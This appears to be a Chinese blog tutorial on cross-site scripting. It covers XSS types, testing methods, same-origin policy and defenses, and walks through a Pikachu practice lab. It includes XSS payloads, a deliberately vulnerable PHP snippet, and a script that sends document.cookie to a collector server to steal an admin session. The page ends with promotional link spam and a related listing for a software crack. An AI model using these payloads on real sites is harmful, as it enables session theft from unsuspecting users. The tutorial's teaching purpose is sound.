XSS跨站脚本攻击(超详细!!!)零基础入门到精通,收藏这篇就够了

【网络攻防】“跨站脚本攻击“ 第一弹 ——反射型XSS 撰稿|谢泳 编辑|王聪丽 信息收集|谢泳** 目录1. 初识XSS2. 反射型XSS2.1 Cookie劫持2.2 Get请求2.3 Post请求3. 防御方式 1. 初识XSS 跨站脚本攻击(Cross Site Script, XSS)是利用web前端代码注入来篡改页面,执行恶意脚本,达到窃取数据、冒充身份等目的的攻击方法。 浏览器根据HTML代码解析页面,现在的HTML中可以有很多JavaScript脚本,XSS攻击则是利用前端代码的漏洞,插入恶意代码。 XSS攻击者必须有一定的JavaScri. 阅读详情

1、什么是XSS

XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。

2、漏洞产生的原因

XSS漏洞产生的原因主要是Web应用对用户输入的数据过滤和检查不严格,没有进行适当的处理(如编码或转义),导致攻击者能够注入恶意脚本,这些脚本在用户的浏览器中执行

3、XSS分类

XSS攻击主要分为以下几种类型:

反射型XSS(Non-Persistent XSS):这种攻击的特点是恶意脚本不是存储在服务器上,而是通过用户提供的数据作为参数嵌入到动态生成的网页链接中。当其他用户点击这个链接时,恶意脚本在他们的浏览器中执行。

存储型XSS(Persistent XSS):这种攻击类型中,恶意脚本被存储在服务器端,例如在数据库或服务器文件中。当其他用户访问存储了恶意脚本的页面时,脚本会被执行。

DOM Based XSS:这种类型的XSS攻击源于前端JavaScript对用户输入数据的不当处理,而不是来自服务器端响应。它利用的是浏览器的DOM环境,而不是HTML文档本身的漏洞。

3.1 反射型XSS(中危)

<?php
$name = $_GET['id'];
echo "Welcome $name<br>";
?>

在这里插入图片描述
在这段代码中程序接受id的值,并且输出,如果提交xss.php?id=,因为程序并没有进行XSS代码过滤,最终造成反射型XSS漏洞

3.2 存储型XSS(高危)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

与反射型XSS相比,唯一的区别就是XSS代码被带入数据,在下次浏览时,又被读取出来使用

<script>alert(1)</script>

在这里插入图片描述

在这里插入图片描述

3.3 DOM XSS(低危)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。

<a href='"+str+"'>what do you see?</a>

<a href='#' onclick="alert(1111)">what do you see?</a>

<a href='#' onclick="alert(2222)">what do you see?</a>

在这里插入图片描述

4、XSS测试方法

1、工具扫描:APPscan、AWVS

2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF

(1)在目标站点上找到输入点,比如查询接口,留言板等;
(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

5、XSS平台搭建及cookie获取

5.1 XSS平台搭建

进入pikachu靶场,点击【管理工具】=> 【XSS后台】

在这里插入图片描述

进入这个界面后,点击进行初始化安装

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

5.2 获取管理员cookies

登录pikachu页面,打开【XSS之盲打】,检查是否存在XSS注入

111'"><script>alert(1)</script>

在这里插入图片描述

注入后没有任何弹出的窗口,访问以下路径,登录管理员的后台看看

在这里插入图片描述

登录用户名和密码分别是admin和123456

在这里插入图片描述

发现登录进去之后会弹出我们刚才注入的信息

在这里插入图片描述

在这里插入图片描述

把pikachu中的pkxss目录复制一份到WWW目录下,然后修改C:\tools\phpstudy\WWW\pkxss\xcookie下的cookie.php文件,将IP地址改为192.168.1.11:90

在这里插入图片描述

通过下面的代码获取cookie

<script>document.location='http://192.168.1.11:90/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
//通过document.location 实例进行重定向

注入后提交

在这里插入图片描述

再登录到管理员后台,发现登录完成后会自动跳转到首页

在这里插入图片描述

在这里插入图片描述

这样就可以获取管理员的cookies

6、同源策略

6.1 什么是跨域

http:// www.   oldboyedu.com :80 /   news/index.php
协议    子域名    主域名       端口      资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

6.2 同源策略

**同源策略(Same-Origin Policy,简称SOP)**是一种浏览器安全机制,用于限制一个源(origin)的文档或脚本如何与另一个源的资源进行交互。这个策略的目的是防止恶意文档窃取数据或对另一个源进行恶意操作。

同源策略的主要限制包括:
① 数据访问限制:不同源的网页不能通过JavaScript读取或修改对方的DOM树和数据。
② Cookie和Session:浏览器在发送HTTP请求时,不会携带跨源的Cookie和Session信息。
③ Web Storage:localStorage和sessionStorage等Web存储API遵循同源策略,不同源的页面不能访问彼此的存储数据。
④ Web SQL和IndexedDB:这些客户端存储数据库API也受到同源策略的限制。
⑤ 跨源AJAX请求:通过XMLHttpRequest或Fetch API进行的AJAX请求默认情况下不能跨源请求数据,除非服务器端设置了适当的CORS(跨源资源共享)策略。

**Tips:**下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

7、绕过htmlspecialchars()函数

htmlspecialchars() 是PHP中用于转义HTML特殊字符的函数,确保输出的字符串可以安全地显示为纯文本,避免XSS(跨站脚本)攻击。这个函数将几个预定义的HTML字符转换为它们的HTML实体等价物:

& 转换为 &amp;
" 转换为 &quot;(双引号)
' 转换为 &#039; 或 &apos;(单引号)
< 转换为 &lt;
> 转换为 &gt;

参数说明:
$string:需要转义的原始字符串。
$flags:指定转义的模式,可以是以下常量之一或组合:
ENT_COMPAT:默认值,转换<>"'&字符。
ENT_QUOTES:转换双引号和单引号。
ENT_NOQUOTES:不转换引号,只转换<>&。
ENT_HTML401:遵守HTML 4.01规范。
ENT_XML1:遵守XML 1规范。
ENT_XHTML:遵守XHTML规范。
ENT_HTML5:遵守HTML 5规范。
$encoding:指定字符编码。默认为UTF-8。
$double_encode:当设为true时,会连续转义现有的实体。如果设为false,不会对&等实体进行二次转义。

8、XSS防御

① 对用户输入进行严格的验证和过滤,使用白名单或黑名单方法。
② 对输出到页面的数据进行编码或转义,防止执行。
③ 实施内容安全策略(CSP),限制网页可以加载和执行的资源。
④ 设置HTTPOnly标志的Cookie,防止JavaScript访问。
⑤ 使用前端安全库进行DOM净化,防止基于DOM的XSS攻击。
⑥ 定期进行安全审计和代码审查,及时修复安全漏洞。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

跨站脚本攻击(XSS) XSS,为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。在一开始的时候,这种攻击的演示案例是跨域的,所以叫"跨站脚本"。但是发展到今天,由于JavaScript的强大功能基于网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字一直保留下来。(2)页面展示... 阅读详情

相关推荐

什么是跨站脚本 (XSS) 攻击?

这一次,教会xss攻击!!!!!!!

简介 2544

网络安全-跨站脚本攻击(XSS)的原理、攻击及防御

所用工具 Google出品:开源Web App漏洞测试环境:Firing Range 简介 跨站脚本攻击(全称Cross Site Scripting,为和CSS(层叠样式表)区分,简称为XSS)是指恶意攻击者在Web页面中插入恶意Script代码,当用户浏览网页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 xss是攻击客户端,最终受害者是用户,网站管理员也是用户之一。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过.

关注网络安全、云原生安全 4万+

PlayReady Encrypt XAP 解密讨论

目前WP7市场上的绝大部分XAP都被MS进行了加密,经过分析,这个加密方式采用了AES方式进行了加密,本人经过对新的XAP格式(PRE)进行了分析,发现新的格式里,实际上是对之前PK(ZIP格式)的XAP进行了加密然后封装:   typedef struct {   DWORD HDR; // 0x07455250 : PRE & 0x7   DWORD a1; // always 0x1   D

u013729125的专栏 1511

XSS-跨站脚本攻击(非常详细),零基础入门到精通,看这一篇就够了

跨站脚本攻击(xss),指攻击者通过篡改网页,嵌入恶意脚本程序,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式。跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets )的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入恶意script代码,当用户浏览该页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。

ewii12567的博客 4950

哨兵1号(Sentinel-1)雷达SAR数据预处理全流程:从下载到精确配准

本文详细介绍了哨兵1号(Sentinel-1)雷达SAR数据从下载到精确配准的全流程预处理方法。内容涵盖SLC与GRD数据选择、ASF平台下载技巧,并重点解析了使用SNAP软件进行几何校正、辐射定标及高精度配准的核心步骤,为InSAR形变监测等应用提供可靠的数据基础。

weixin_29208327的博客 480

Unity2018连接MySQL数据库

当前在做的一个Unity项目需要连接到MySQL数据库,弄了一整天,排了很多错,终于在Unity上成功连接到MySQL数据库了,所以分享一下,避免有这个需求的朋友不用花那么多时间。 我使用的软件是 Unity20184.0f1 + mysql-8.0.24 导入 MySql.Data.dll 首先需要把 MySql.Data.dll 导入到Assets/Plugins 这个dll需要安装Connector/NET,在安装目录\Assemblies\v4.0中拿到,最好不要下载版本太高的,版本太高导入的时候

ZLX的博客 9452

xss攻击测试,零基础入门到精通,收藏这篇就够了

跨站脚本攻击(XSS)是指攻击者将恶意脚本注入到网页中,并在其他用户的浏览器中执行,从而达到窃取 Cookie、控制用户会话、修改 DOM、传播蠕虫等目的。本质:前端页面对用户输入缺乏安全处理,导致恶意 JavaScript 被浏览器执行。XSS 并非仅靠工具即可“一扫而尽”。它是一种需要语境理解 + 注入技巧 + 渲染语义分析的测试艺术。我们不应仅依赖工具“扫一遍”,而是要以攻击者视角深入理解应用的数据流动逻辑与上下文环境变迁,构建覆盖面广、逻辑严密的测试策略。

Javachichi的博客 1828

Neo4j 智能供应链应用源代码简析

本文简析Neo4j智能供应链应用的源代码,让你也可以快速开发自己的供应链应用。

Neo4j 开发者博客 1681

什么是XSS攻击?XSS跨站脚本攻击及防护(非常详细)零基础入门到精通,收藏这一篇就够了

XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码,当用户(被攻击者)登录网站时就会执行这些恶意代码,通过这些脚本可以读取cookie,session tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈。XSS玫击原理XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript 编写的恶意代码,也有使用其他客户端脚本语言编写的。当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

Javachichi的博客 1万+

抖音Web端私信Protobuf逆向解析实战

本文详细解析了抖音Web端私信通信的逆向过程,发现其核心采用WebSocket传输Protobuf序列化数据。通过抓包获取二进制样本,利用protoc工具进行原始解码,并逐步推导和编写出对应的.proto协议定义文件,最终实现模拟消息的编码与解码,为理解私有协议逆向提供了完整实战案例。

water的专栏 762

基于POI-TL实现动态Word模板数据填充(含图表):从需求到落地的完整开发实践

本文聚焦企业级报告生成场景中 “在线编辑模板 + 动态数据填充” 的核心需求,详细阐述基于 POI-TL、OnlyOffice 与 MinIO 的全栈实现方案。通过代码示例拆解模板加载、文字填充、图表匹配渲染(含通过关系 ID 关联图表与段落的关键逻辑)、报告存储全步骤。最终通过技术组合实现业务人员可视化编辑模板、后端高效填充数据的目标,为同类动态 Word 生成需求提供可复用的实践参考。

imHanweihu的博客 1869

XSS漏洞及其原理(详解)零基础入门到精通,收藏这篇就够了

XSS被称为跨站脚本攻击(Cross Site Scripting),由于和层叠样式表(Cascading Style Sheets,CSS)重名,改为XSS。主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。黑客/网络安全学习包资料目录成长路线图&学习规划配套视频教程SRC&黑客文籍护网行动资料黑客必读书单面试题合集因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享。

Python_0011的博客 1755

高云FPGA开发实战:手把手教你用ModelSim做功能仿真与时序分析(附Testbench写法)

本文详细介绍了高云FPGA开发中如何使用ModelSim进行功能仿真与时序分析,包括环境搭建、Testbench编写、波形调试和时序优化等实战技巧。通过具体案例和代码示例,帮助开发者掌握FPGA仿真验证的核心方法,提升设计可靠性。特别针对高云GW5A系列器件提供了专业的仿真库配置指南和时序分析策略。

weixin_30412167的博客 469

XSS跨站脚本攻击,(非常详细)从零基础到精通,收藏这篇就够了!

还在傻傻分不清XSS?别out啦!这可是网络安全界的“老司机”必备技能。想知道黑客如何利用XSS漏洞,在你浏览网页的时候,悄悄“搞事情”吗?赶紧上车,带你一探究竟!

Libra1313的博客 1048

Universal Robot——在Gazebo中模拟UR5机器人

今天的目标是在Gazebo安装我们的ur5机器人。Gazebo是一个流行的模拟工具,它不仅可以让你像在Rviz中一样可视化你的机器人,而且还内置了一个物理引擎。这样你就可以在更真实的环境中测试你的机器人应用程序。我们将查看我们需要的属性 添加对我们的机器人——我们的order的描述,以模拟它以及如何在Gazebo中生成我们的机器人。

如果想成为中心,那么就到中心去吧。 1970

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

惊天揭秘!XSS跨站脚本攻击,从零基础到精通,收藏这篇就够了!

还在傻傻分不清XSS?别out啦!这可是网络安全界的“老司机”必备技能。想知道黑客如何利用XSS漏洞,在你浏览网页的时候,悄悄“搞事情”吗?赶紧上车,带你一探究竟!

Javachichi的博客 1110

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

小白入门网络攻防?从零基础到精通,收藏这篇就够了!

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

kjuhfkicf154的博客 1328

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

上一篇: XSS漏洞详细指南
下一篇: XSS漏洞及其原理(非常详细)零基础入门到精通,收藏这篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值